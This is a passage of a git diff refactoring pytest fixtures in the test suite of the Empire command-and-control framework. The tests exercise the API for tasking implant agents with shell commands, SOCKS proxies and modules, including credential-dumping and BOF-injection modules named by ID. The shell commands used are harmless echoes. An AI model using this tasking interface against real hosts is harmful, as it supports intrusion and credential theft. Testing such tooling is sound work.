db.add(file_1) + db.add(file_2) + db.flush() -@pytest.fixture(scope="module", autouse=True) -def files(db: Session, models, agent): - root_file = models.AgentFile( - session_id=agent.session_id, name="/", path="/", is_file=False, parent_id=None - ) + file_3 = models.AgentFile( + session_id=agent, + name="photo.png", + path="/C:\\photo.png", + is_file=True, + parent_id=file_1.id, + ) + file_4 = models.AgentFile( + session_id=agent, + name="Documents", + path="/C:\\Documents", + is_file=False, + parent_id=file_1.id, + ) - db.add(root_file) - db.flush() + db.add(file_3) + db.add(file_4) + db.flush() - file_1 = models.AgentFile( - session_id=agent.session_id, - name="C:\\", - path="/C:\\", - is_file=False, - parent_id=root_file.id, - ) - file_2 = models.AgentFile( - session_id=agent.session_id, - name="D:\\", - path="/D:\\", - is_file=False, - parent_id=root_file.id, - ) - db.add(file_1) - db.add(file_2) - db.flush() - - file_3 = models.AgentFile( - session_id=agent.session_id, - name="photo.png", - path="/C:\\photo.png", - is_file=True, - parent_id=file_1.id, - ) - file_4 = models.AgentFile( - session_id=agent.session_id, - name="Documents", - path="/C:\\Documents", - is_file=False, - parent_id=file_1.id, - ) - db.add(file_3) - db.add(file_4) - db.flush() - db.commit() + file_ids = [root_file.id, file_1.id, file_2.id, file_3.id, file_4.id] - yield [root_file, file_1, file_2, file_3, file_4] + yield file_ids - db.delete(root_file) - db.delete(file_1) - db.delete(file_2) - db.delete(file_3) - db.delete(file_4) - db.commit() + with session_local.begin() as db: + db.query(models.AgentFile).delete() def test_get_root_agent_not_found(client, admin_auth_header): @@ -140,19 +102,19 @@ def test_get_root_agent_not_found(client, admin_auth_header): def test_get_root_not_found(client, admin_auth_header, agent_no_files): response = client.get( - f"/api/v2/agents/{agent_no_files.session_id}/files/root", + f"/api/v2/agents/{agent_no_files}/files/root", headers=admin_auth_header, ) assert response.status_code == 404 assert ( response.json()["detail"] - == f'File not found for agent {agent_no_files.session_id} and file path "/"' + == f'File not found for agent {agent_no_files} and file path "/"' ) def test_get_root(client, admin_auth_header, agent): response = client.get( - f"/api/v2/agents/{agent.session_id}/files/root", headers=admin_auth_header + f"/api/v2/agents/{agent}/files/root", headers=admin_auth_header ) assert response.status_code == 200 assert response.json()["name"] == "/" @@ -170,35 +132,36 @@ def test_get_file_agent_not_found(client, admin_auth_header): def test_get_file_not_found(client, admin_auth_header, agent): response = client.get( - f"/api/v2/agents/{agent.session_id}/files/9999", headers=admin_auth_header + f"/api/v2/agents/{agent}/files/9999", headers=admin_auth_header ) assert response.status_code == 404 assert ( - response.json()["detail"] == "File not found for agent TEST123 and file id 9999" + response.json()["detail"] + == f"File not found for agent {agent} and file id 9999" ) def test_get_file_with_children(client, admin_auth_header, agent, files): response = client.get( - f"/api/v2/agents/{agent.session_id}/files/{files[1].id}", + f"/api/v2/agents/{agent}/files/{files[1]}", headers=admin_auth_header, ) assert response.status_code == 200 assert response.json()["name"] == "C:\\" assert response.json()["path"] == "/C:\\" assert response.json()["is_file"] is False - assert response.json()["parent_id"] == 1 + assert response.json()["parent_id"] == files[0] assert len(response.json()["children"]) == 2 def test_get_file_no_children(client, admin_auth_header, agent, files): response = client.get( - f"/api/v2/agents/{agent.session_id}/files/{files[3].id}", + f"/api/v2/agents/{agent}/files/{files[3]}", headers=admin_auth_header, ) assert response.status_code == 200 assert response.json()["name"] == "photo.png" assert response.json()["path"] == "/C:\\photo.png" assert response.json()["is_file"] is True - assert response.json()["parent_id"] == 2 + assert response.json()["parent_id"] == files[1] assert len(response.json()["children"]) == 0 diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index a562eca3d..6c936601c 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -21,64 +21,6 @@ def listener(client, admin_auth_header): ) -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, main): - name = f'agent_{__name__.split(".")[-1]}' - - hosts = db.query(models.Host).all() - if len(hosts) == 0: - host = models.Host(name="default_host", internal_ip="127.0.0.1") - db.add(host) - else: - host = hosts[0] - - agent = db.query(models.Agent).filter(models.Agent.session_id == name).first() - if not agent: - agent = models.Agent( - name=name, - session_id=name, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, - process_name="abc", - process_id=123, - hostname="doesntmatter", - host=host, - archived=False, - ) - db.add(agent) - else: - agent.archived = False - - db.flush() - db.commit() - - main.agents.agents[name] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } - - yield agent - - db.query(models.AgentTask).filter( - models.AgentTask.agent_id == agent.session_id - ).delete() - db.delete(agent) - db.delete(host) - - db.commit() - - @pytest.fixture(scope="module", autouse=True) def agent_low_version(db, models, main): agent = db.query(models.Agent).filter(models.Agent.session_id == "WEAK").first() @@ -240,6 +182,20 @@ def bof_download(client, admin_auth_header, db, models): pass +@pytest.fixture(scope="function") +def agent_task(client, admin_auth_header, agent): + resp = client.post( + f"/api/v2/agents/{agent}/tasks/shell", + headers=admin_auth_header, + json={"command": 'echo "HELLO WORLD"'}, + ) + + yield resp.json() + + # No need to delete the task, it will be deleted when the agent is deleted + # After the test. + + def test_create_task_shell_agent_not_found(client, admin_auth_header): response = client.post( "/api/v2/agents/abc/tasks/shell", @@ -252,7 +208,7 @@ def test_create_task_shell_agent_not_found(client, admin_auth_header): def test_create_task_shell(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/shell", + f"/api/v2/agents/{agent}/tasks/shell", headers=admin_auth_header, json={"command": 'echo "HELLO WORLD"'}, ) @@ -274,7 +230,7 @@ def test_create_task_module_agent_not_found(client, admin_auth_header): def test_create_task_module_not_found(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={"module_id": "some_module", "options": {}}, ) @@ -285,7 +241,7 @@ def test_create_task_module_not_found(client, admin_auth_header, agent): def test_create_task_module(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_credentials_invoke_internal_monologue", @@ -302,7 +258,7 @@ def test_create_task_module(client, admin_auth_header, agent): assert response.status_code == 201 assert response.json()["id"] > 0 assert response.json()["input"].startswith("function Invoke-InternalMonologue") - assert response.json()["agent_id"] == agent.session_id + assert response.json()["agent_id"] == agent def test_create_task_module_modified_input(client, admin_auth_header, agent): @@ -315,7 +271,7 @@ def test_create_task_module_modified_input(client, admin_auth_header, agent): ).lstrip("\n") response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_credentials_invoke_internal_monologue", @@ -332,14 +288,14 @@ def test_create_task_module_modified_input(client, admin_auth_header, agent): assert response.status_code == 201 assert response.json()["id"] > 0 assert response.json()["input"].startswith(modified_input) - assert response.json()["agent_id"] == agent.session_id + assert response.json()["agent_id"] == agent def test_create_task_bof_module_disabled_csharpserver( client, admin_auth_header, agent, bof_download ): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "csharp_inject_bof_inject_bof", @@ -360,7 +316,7 @@ def test_create_task_module_with_file_option_not_found( client, admin_auth_header, agent, bof_download ): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_code_execution_invoke_bof", @@ -381,7 +337,7 @@ def test_create_task_module_with_file_option( client, admin_auth_header, agent, bof_download ): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_code_execution_invoke_bof", @@ -402,7 +358,7 @@ def test_create_task_module_validates_required_options( client, admin_auth_header, agent ): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_trollsploit_message", @@ -420,7 +376,7 @@ def test_create_task_module_validates_required_options( def test_create_task_module_validates_options_strict(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/module", + f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ "module_id": "powershell_collection_foxdump", @@ -514,7 +470,7 @@ def test_create_task_module_ignore_admin_check( def test_create_task_upload_file_not_found(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/upload", + f"/api/v2/agents/{agent}/tasks/upload", headers=admin_auth_header, json={ "path_to_file": "/tmp", @@ -542,7 +498,7 @@ def test_create_task_upload_agent_not_found(client, admin_auth_header, agent): def test_create_task_upload(client, admin_auth_header, agent, download): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/upload", + f"/api/v2/agents/{agent}/tasks/upload", headers=admin_auth_header, json={ "path_to_file": "/tmp", @@ -568,7 +524,7 @@ def test_create_task_download_agent_not_found(client, admin_auth_header): def test_create_task_download(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/download", + f"/api/v2/agents/{agent}/tasks/download", headers=admin_auth_header, json={"path_to_file": "/tmp/downloadme.zip"}, ) @@ -589,7 +545,7 @@ def test_create_socks_agent_not_found(client, admin_auth_header, agent): def test_create_task_socks(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/socks", + f"/api/v2/agents/{agent}/tasks/socks", headers=admin_auth_header, json={"port": 1080}, ) @@ -611,7 +567,7 @@ def test_create_task_jobs_agent_not_found(client, admin_auth_header, agent): def test_create_task_jobs(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/jobs", + f"/api/v2/agents/{agent}/tasks/jobs", headers=admin_auth_header, json={}, ) @@ -621,7 +577,7 @@ def test_create_task_jobs(client, admin_auth_header, agent): def test_kill_task_jobs(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/kill_job", + f"/api/v2/agents/{agent}/tasks/kill_job", headers=admin_auth_header, json={"id": 0}, ) @@ -659,7 +615,7 @@ def test_create_task_script_import_agent_not_found(client, admin_auth_header, ag def test_create_task_script_import(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/script_import", + f"/api/v2/agents/{agent}/tasks/script_import", headers=admin_auth_header, files={ "file": ( @@ -687,7 +643,7 @@ def test_create_task_script_command_agent_not_found(client, admin_auth_header): def test_create_task_script_command(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/script_command", + f"/api/v2/agents/{agent}/tasks/script_command", headers=admin_auth_header, json={"command": "run command"}, ) @@ -708,7 +664,7 @@ def test_create_task_sysinfo_agent_not_found(client, admin_auth_header): def test_create_task_sysinfo(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/sysinfo", + f"/api/v2/agents/{agent}/tasks/sysinfo", headers=admin_auth_header, json={}, ) @@ -730,7 +686,7 @@ def test_create_task_update_comms_agent_not_found(client, admin_auth_header, lis def test_create_task_update_comms(client, admin_auth_header, agent, listener): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/update_comms", + f"/api/v2/agents/{agent}/tasks/update_comms", headers=admin_auth_header, json={"new_listener_id": listener["id"]}, ) @@ -752,7 +708,7 @@ def test_create_task_update_sleep_agent_not_found(client, admin_auth_header, lis def test_create_task_update_sleep_validates_fields(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/sleep", + f"/api/v2/agents/{agent}/tasks/sleep", headers=admin_auth_header, json={"delay": -1, "jitter": 5}, ) @@ -773,7 +729,7 @@ def test_create_task_update_sleep_validates_fields(client, admin_auth_header, ag def test_create_task_update_sleep(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/sleep", + f"/api/v2/agents/{agent}/tasks/sleep", headers=admin_auth_header, json={"delay": 30, "jitter": 0.5}, ) @@ -795,7 +751,7 @@ def test_create_task_update_kill_date_agent_not_found(client, admin_auth_header) def test_create_task_update_kill_date(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/kill_date", + f"/api/v2/agents/{agent}/tasks/kill_date", headers=admin_auth_header, json={"kill_date": "2021-05-06T00:00Z"}, ) @@ -817,7 +773,7 @@ def test_create_task_update_working_hours_agent_not_found(client, admin_auth_hea def test_create_task_update_working_hours(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/working_hours", + f"/api/v2/agents/{agent}/tasks/working_hours", headers=admin_auth_header, json={"working_hours": "05:00-12:00"}, ) @@ -839,7 +795,7 @@ def test_create_task_directory_list_agent_not_found(client, admin_auth_header): def test_create_task_directory_list(client, admin_auth_header, agent): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/directory_list", + f"/api/v2/agents/{agent}/tasks/directory_list", headers=admin_auth_header, json={"path": "/"}, ) @@ -865,7 +821,7 @@ def test_create_task_proxy_list(client, admin_auth_header, agent): } response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/proxy_list", + f"/api/v2/agents/{agent}/tasks/proxy_list", headers=admin_auth_header, json=proxy_body, ) @@ -873,9 +829,7 @@ def test_create_task_proxy_list(client, admin_auth_header, agent): assert response.status_code == 201 assert response.json()["id"] > 0 - response = client.get( - f"/api/v2/agents/{agent.session_id}", headers=admin_auth_header - ) + response = client.get(f"/api/v2/agents/{agent}", headers=admin_auth_header) assert response.status_code == 200 assert response.json()["proxies"] == proxy_body @@ -894,17 +848,15 @@ def test_get_tasks_for_agent_agent_not_found(client, admin_auth_header): assert response.json()["detail"] == "Agent not found for id abc" -def test_get_tasks_for_agent(client, admin_auth_header, agent): - response = client.get( - f"/api/v2/agents/{agent.session_id}/tasks", headers=admin_auth_header - ) +def test_get_tasks_for_agent(client, admin_auth_header, agent, agent_task): + response = client.get(f"/api/v2/agents/{agent}/tasks", headers=admin_auth_header) assert response.status_code == 200 assert len(response.json()["records"]) > 0 assert ( len( list( filter( - lambda x: x["agent_id"] != agent.session_id, + lambda x: x["agent_id"] != agent, response.json()["records"], ) ) @@ -921,22 +873,20 @@ def test_get_task_for_agent_agent_not_found(client, admin_auth_header, agent): def test_get_task_for_agent_not_found(client, admin_auth_header, agent): response = client.get( - f"/api/v2/agents/{agent.session_id}/tasks/9999", headers=admin_auth_header + f"/api/v2/agents/{agent}/tasks/9999", headers=admin_auth_header ) assert response.status_code == 404 assert ( response.json()["detail"] - == f"Task not found for agent {agent.session_id} and task id 9999" + == f"Task not found for agent {agent} and task id 9999" ) -def test_get_task_for_agent(client, admin_auth_header, agent): - response = client.get( - f"/api/v2/agents/{agent.session_id}/tasks/1", headers=admin_auth_header - ) +def test_get_task_for_agent(client, admin_auth_header, agent, agent_task): + response = client.get(f"/api/v2/agents/{agent}/tasks/1", headers=admin_auth_header) assert response.status_code == 200 assert response.json()["id"] == 1 - assert response.json()["agent_id"] == agent.session_id + assert response.json()["agent_id"] == agent def test_create_task_archived_agent(client, admin_auth_header, agent_archived): @@ -952,9 +902,9 @@ def test_create_task_archived_agent(client, admin_auth_header, agent_archived): ) -def test_delete_task(client, admin_auth_header, agent): +def test_delete_task(client, admin_auth_header, agent, agent_task): response = client.delete( - f"/api/v2/agents/{agent.session_id}/tasks/1", headers=admin_auth_header + f"/api/v2/agents/{agent}/tasks/1", headers=admin_auth_header ) assert response.status_code == 204 @@ -962,7 +912,7 @@ def test_delete_task(client, admin_auth_header, agent): def test_last_task(client, admin_auth_header, agent, empire_config): response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/shell", + f"/api/v2/agents/{agent}/tasks/shell", headers=admin_auth_header, json={"command": 'echo "HELLO WORLD"'}, ) @@ -981,7 +931,7 @@ def test_create_task_exit(client, admin_auth_header, agent): This is at the end so it doesn't interfere with other tests """ response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/exit", + f"/api/v2/agents/{agent}/tasks/exit", headers=admin_auth_header, json={}, ) diff --git a/empire/test/test_agent_task_service.py b/empire/test/test_agent_task_service.py index 6bbb11152..a5c7a81ee 100644 --- a/empire/test/test_agent_task_service.py +++ b/empire/test/test_agent_task_service.py @@ -1,71 +1,12 @@ -import pytest - - -@pytest.fixture(scope="module") -def host(db, models): - host = models.Host(name="HOST_1", internal_ip="1.1.1.1") - - db.add(host) - - yield host - - -@pytest.fixture(scope="module", autouse=True) -def agent(client, db, models, main, host): - name = f'agent_{__name__.split(".")[-1]}' - - agent = db.query(models.Agent).filter(models.Agent.session_id == name).first() - if not agent: - agent = models.Agent( - name=name, - session_id=name, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, - process_name="abc", - process_id=123, - hostname=host.name, - host_id=host.id, - archived=False, +def test_create_task_no_user_id(client, session_local, agent, main, models): + with session_local.begin() as db: + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + resp, err = main.agenttasksv2.create_task_shell( + db, db_agent, "echo 'hi'", True, 0 ) - db.add(agent) - else: - agent.archived = False - - db.flush() - - main.agents.agents[name] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } - - yield agent - - db.query(models.AgentTask).filter( - models.AgentTask.agent_id == agent.session_id - ).delete() - db.delete(host) - db.delete(agent) - db.commit() - - -def test_create_task_no_user_id(client, db, agent, main): - from empire.server.common.empire import MainMenu - - main: MainMenu = main - - resp, err = main.agenttasksv2.create_task_shell(db, agent, "echo 'hi'", True, 0) - assert err is None - assert resp.user_id is None - assert resp.user is None + assert err is None + assert resp.user_id is None + assert resp.user is None diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index 5e493bb9c..3cd886440 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -1,30 +1,22 @@ +import logging from datetime import datetime, timedelta, timezone import pytest from sqlalchemy.exc import IntegrityError +log = logging.getLogger(__name__) -@pytest.fixture(scope="module", autouse=True) -def host(db, models): - hosts = db.query(models.Host).all() - if len(hosts) == 0: - host = models.Host(name="default_host", internal_ip="127.0.0.1") - else: - host = hosts[0] - yield host - - -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, host): - agents = db.query(models.Agent).all() - if len(agents) == 0: +@pytest.fixture(scope="function", autouse=True) +def agents(session_local, models, host): + with session_local.begin() as db: + db_host = db.query(models.Host).filter(models.Host.id == host).first() agent = models.Agent( name="TEST123", session_id="TEST123", delay=60, jitter=0.1, - internal_ip=host.internal_ip, + internal_ip=db_host.internal_ip, external_ip="1.1.1.1", session_key="qwerty", nonce="nonce", @@ -39,7 +31,7 @@ def agent(db, models, host): process_name="proc", process_id=12345, hostname="vinnybod", - host=host, + host_id=host, archived=False, ) @@ -48,7 +40,7 @@ def agent(db, models, host): session_id="SECOND", delay=60, jitter=0.1, - internal_ip=host.internal_ip, + internal_ip=db_host.internal_ip, external_ip="1.1.1.1", session_key="qwerty", nonce="nonce", @@ -63,7 +55,7 @@ def agent(db, models, host): process_name="proc", process_id=12345, hostname="vinnybod", - host=host, + host_id=host, archived=False, ) @@ -72,7 +64,7 @@ def agent(db, models, host): session_id="archived", delay=60, jitter=0.1, - internal_ip=host.internal_ip, + internal_ip=db_host.internal_ip, external_ip="1.1.1.1", session_key="qwerty", nonce="nonce", @@ -87,7 +79,7 @@ def agent(db, models, host): process_name="proc", process_id=12345, hostname="vinnybod", - host=host, + host_id=host, archived=True, ) @@ -96,14 +88,13 @@ def agent(db, models, host): session_id="STALE", delay=1, jitter=0.1, - internal_ip=host.internal_ip, + internal_ip=db_host.internal_ip, external_ip="1.1.1.1", session_key="qwerty", nonce="nonce", profile="profile", kill_date="killDate", working_hours="workingHours", - lastseen_time=datetime.now(timezone.utc) - timedelta(days=2), lost_limit=60, listener="http", language="powershell", @@ -112,33 +103,35 @@ def agent(db, models, host): process_name="proc", process_id=12345, hostname="vinnybod", - host=host, + host_id=host, archived=False, ) - db.add(host) db.add(agent) db.add(agent2) db.add(agent3) db.add(agent4) + db.add(models.AgentCheckIn(agent_id=agent.session_id)) + db.add(models.AgentCheckIn(agent_id=agent2.session_id)) + db.add(models.AgentCheckIn(agent_id=agent3.session_id)) + db.add( + models.AgentCheckIn( + agent_id=agent4.session_id, + checkin_time=datetime.now(timezone.utc) - timedelta(days=2), + ) + ) db.flush() - db.commit() agents = [agent, agent2, agent3, agent4] - yield agents + agent_ids = [agent.session_id for agent in agents] - db.delete(agents[0]) - db.delete(agents[1]) - db.delete(agents[2]) - db.delete(agents[3]) - db.delete(host) - db.commit() + yield agent_ids + with session_local.begin() as db: + db.query(models.Agent).delete() -def test_stale_expression(empire_config): - if empire_config.database.use != "sqlite": - pytest.skip("Skipping test for non-sqlite database") +def test_stale_expression(empire_config): from empire.server.core.db import models from empire.server.core.db.base import SessionLocal @@ -164,23 +157,25 @@ def test_stale_expression(empire_config): assert len(not_stale) == 3 -def test_large_internal_ip_works(db, agent, host): - agent1 = agent[0] - - agent1.internal_ip = "192.168.1.75 fe90::51e7:5dc7:be5d:b22e 3600:1900:7bb0:90d0:4d3c:2cd6:3fe:883b 5600:1900:3aa0:80d1:18a4:4431:5023:eef7 6600:1500:1aa0:20d0:fd69:26ff:5c4c:8d27 2900:2700:4aa0:80d0::47 192.168.214.1 fe90::a24c:82de:578b:8626 192.168.245.1 fe00::f321:a1e:18d3:ab9" +def test_large_internal_ip_works(session_local, host, models, agent): + with session_local.begin() as db: + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + db_host = db.query(models.Host).filter(models.Host.id == host).first() + db_agent.internal_ip = "192.168.1.75 fe90::51e7:5dc7:be5d:b22e 3600:1900:7bb0:90d0:4d3c:2cd6:3fe:883b 5600:1900:3aa0:80d1:18a4:4431:5023:eef7 6600:1500:1aa0:20d0:fd69:26ff:5c4c:8d27 2900:2700:4aa0:80d0::47 192.168.214.1 fe90::a24c:82de:578b:8626 192.168.245.1 fe00::f321:a1e:18d3:ab9" - db.flush() + db.flush() - host.internal_ip = agent1.internal_ip + db_host.internal_ip = db_agent.internal_ip - db.flush() + db.flush() -def test_duplicate_host(db, models, host): - with pytest.raises(IntegrityError): - host2 = models.Host(name=host.name, internal_ip=host.internal_ip) +def test_duplicate_host(session_local, models, host): + with pytest.raises(IntegrityError), session_local.begin() as db: + db_host = db.query(models.Host).filter(models.Host.id == host).first() + host2 = models.Host(name=db_host.name, internal_ip=db_host.internal_ip) db.add(host2) db.flush() - - db.rollback() diff --git a/empire/test/test_common_agents.py b/empire/test/test_common_agents.py index d6517f553..f58b4a2de 100644 --- a/empire/test/test_common_agents.py +++ b/empire/test/test_common_agents.py @@ -1,68 +1,5 @@ import os -import pytest - - -@pytest.fixture(scope="module") -def host(db, models): - host = models.Host(name="HOST_1", internal_ip="1.1.1.1") - - db.add(host) - - yield host - - db.delete(host) - db.commit() - - -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, main, host): - name = f'agent_{__name__.split(".")[-1]}' - - agent = db.query(models.Agent).filter(models.Agent.session_id == name).first() - if not agent: - agent = models.Agent( - name=name, - session_id=name, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, - process_name="abc", - process_id=123, - hostname=host.name, - host_id=host.id, - archived=False, - ) - db.add(agent) - else: - agent.archived = False - - db.flush() - db.commit() - - main.agents.agents[name] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } - - yield agent - - db.query(models.AgentTask).filter( - models.AgentTask.agent_id == agent.session_id - ).delete() - db.delete(agent) - db.commit() - def test_agent_logging(client, admin_auth_header, agent, empire_config): """ @@ -70,7 +7,7 @@ def test_agent_logging(client, admin_auth_header, agent, empire_config): This is super basic and could be expanded later to test responses. """ response = client.post( - f"/api/v2/agents/{agent.session_id}/tasks/shell", + f"/api/v2/agents/{agent}/tasks/shell", headers=admin_auth_header, json={ "command": 'echo "Hello World!"', @@ -80,9 +17,9 @@ def test_agent_logging(client, admin_auth_header, agent, empire_config): assert response.status_code == 201 agent_log_file = os.path.join( - empire_config.yaml["directories"]["downloads"], agent.session_id, "agent.log" + empire_config.yaml["directories"]["downloads"], agent, "agent.log" ) assert os.path.exists(agent_log_file) with open(agent_log_file, "r") as f: - assert f"Tasked {agent.session_id} to run TASK_SHELL" in f.read() + assert f"Tasked {agent} to run TASK_SHELL" in f.read() diff --git a/empire/test/test_hooks_internal.py b/empire/test/test_hooks_internal.py index 7a6ce4c48..4c0122585 100644 --- a/empire/test/test_hooks_internal.py +++ b/empire/test/test_hooks_internal.py @@ -2,121 +2,89 @@ import pytest -from empire.server.core.db.models import AgentTaskStatus from empire.server.core.hooks import hooks -@pytest.fixture(scope="module", autouse=True) -def agent(db, models, main): - hosts = db.query(models.Host).all() - if len(hosts) == 0: - host = models.Host(name="default_host", internal_ip="127.0.0.1") - db.add(host) - else: - host = hosts[0] - - name = f'agent_{__name__.split(".")[-1]}' - - agent = db.query(models.Agent).filter(models.Agent.session_id == name).first() - if not agent: - agent = models.Agent( - name=name, - session_id=name, - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=True, - process_name="abc", - process_id=123, - hostname=host.name, - host_id=host.id, - archived=False, - ) - db.add(agent) - else: - agent.archived = False - - db.flush() - - main.agents.agents[name] = { - "sessionKey": agent.session_key, - "functions": agent.functions, - } - - yield agent +@pytest.fixture(scope="function") +def existing_processes(session_local, models, host): + with session_local.begin() as db: + existing_processes = [ + models.HostProcess( + host_id=host, + process_id=1, + process_name="should_be_stale", + architecture="x86", + user="test_user", + ), + models.HostProcess( + host_id=host, + process_id=2, + process_name="should_be_updated", + architecture="x86", + user="test_user", + ), + models.HostProcess( + host_id=host, + process_id=3, + process_name="should_be_same", + architecture="x86", + user="test_user", + ), + ] + db.add_all(existing_processes) - db.query(models.HostProcess).delete() - db.delete(agent) - db.delete(host) - db.commit() + yield + with session_local.begin() as db: + db.query(models.HostProcess).delete() -def test_ps_hook(client, db, models, agent): - existing_processes = [ - models.HostProcess( - host_id=agent.host_id, - process_id=1, - process_name="should_be_stale", - architecture="x86", - user="test_user", - ), - models.HostProcess( - host_id=agent.host_id, - process_id=2, - process_name="should_be_updated", - architecture="x86", - user="test_user", - ), - models.HostProcess( - host_id=agent.host_id, - process_id=3, - process_name="should_be_same", - architecture="x86", - user="test_user", - ), - ] - db.add_all(existing_processes) - output = json.dumps( - [ - { - "CMD": "has_been_updated", - "PID": 2, - "Arch": "x86_64", - "UserName": "test_user", - }, - {"CMD": "should_be_same", "PID": 3, "Arch": "x86", "UserName": "test_user"}, - {"CMD": "should_be_new", "PID": 4, "Arch": "x86", "UserName": "test_user"}, - ] - ) - task = models.AgentTask( - id=1, - agent_id=agent.session_id, - agent=agent, - input="ps", - status=AgentTaskStatus.pulled, - output=output, - original_output=output, - ) - hooks.run_hooks(hooks.BEFORE_TASKING_RESULT_HOOK, db, task) - db.flush() - processes = db.query(models.HostProcess).all() +def test_ps_hook(client, session_local, models, host, agent, existing_processes): + with session_local.begin() as db: + output = json.dumps( + [ + { + "CMD": "has_been_updated", + "PID": 2, + "Arch": "x86_64", + "UserName": "test_user", + }, + { + "CMD": "should_be_same", + "PID": 3, + "Arch": "x86", + "UserName": "test_user", + }, + { + "CMD": "should_be_new", + "PID": 4, + "Arch": "x86", + "UserName": "test_user", + }, + ] + ) + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + task = models.AgentTask( + id=1, + agent_id=agent, + agent=db_agent, + input="ps", + status=models.AgentTaskStatus.pulled, + output=output, + original_output=output, + ) + hooks.run_hooks(hooks.BEFORE_TASKING_RESULT_HOOK, db, task) + db.flush() + processes = db.query(models.HostProcess).all() - assert len(processes) == 4 - assert processes[0].process_name == "should_be_stale" - assert processes[0].stale is True - assert processes[1].process_name == "has_been_updated" - assert processes[1].stale is False - assert processes[2].process_name == "should_be_same" - assert processes[2].stale is False - assert processes[3].process_name == "should_be_new" - assert processes[3].stale is False + assert len(processes) == 4 + assert processes[0].process_name == "should_be_stale" + assert processes[0].stale is True + assert processes[1].process_name == "has_been_updated" + assert processes[1].stale is False + assert processes[2].process_name == "should_be_same" + assert processes[2].stale is False + assert processes[3].process_name == "should_be_new" + assert processes[3].stale is False diff --git a/empire/test/test_host_api.py b/empire/test/test_host_api.py index 9b1e179ec..c0fcecf94 100644 --- a/empire/test/test_host_api.py +++ b/empire/test/test_host_api.py @@ -1,22 +1,3 @@ -import pytest - - -@pytest.fixture(scope="module", autouse=True) -def host(db, models): - host = models.Host(name="HOST_1", internal_ip="1.1.1.1") - host2 = models.Host(name="HOST_2", internal_ip="2.2.2.2") - - db.add(host) - db.add(host2) - db.commit() - - yield [host, host2] - - db.delete(host) - db.delete(host2) - db.commit() - - def test_get_host_not_found(client, admin_auth_header): response = client.get("/api/v2/hosts/9999", headers=admin_auth_header) @@ -25,14 +6,13 @@ def test_get_host_not_found(client, admin_auth_header): def test_get_host(client, host, admin_auth_token, admin_auth_header): - response = client.get(f"/api/v2/hosts/{host[0].id}", headers=admin_auth_header) + response = 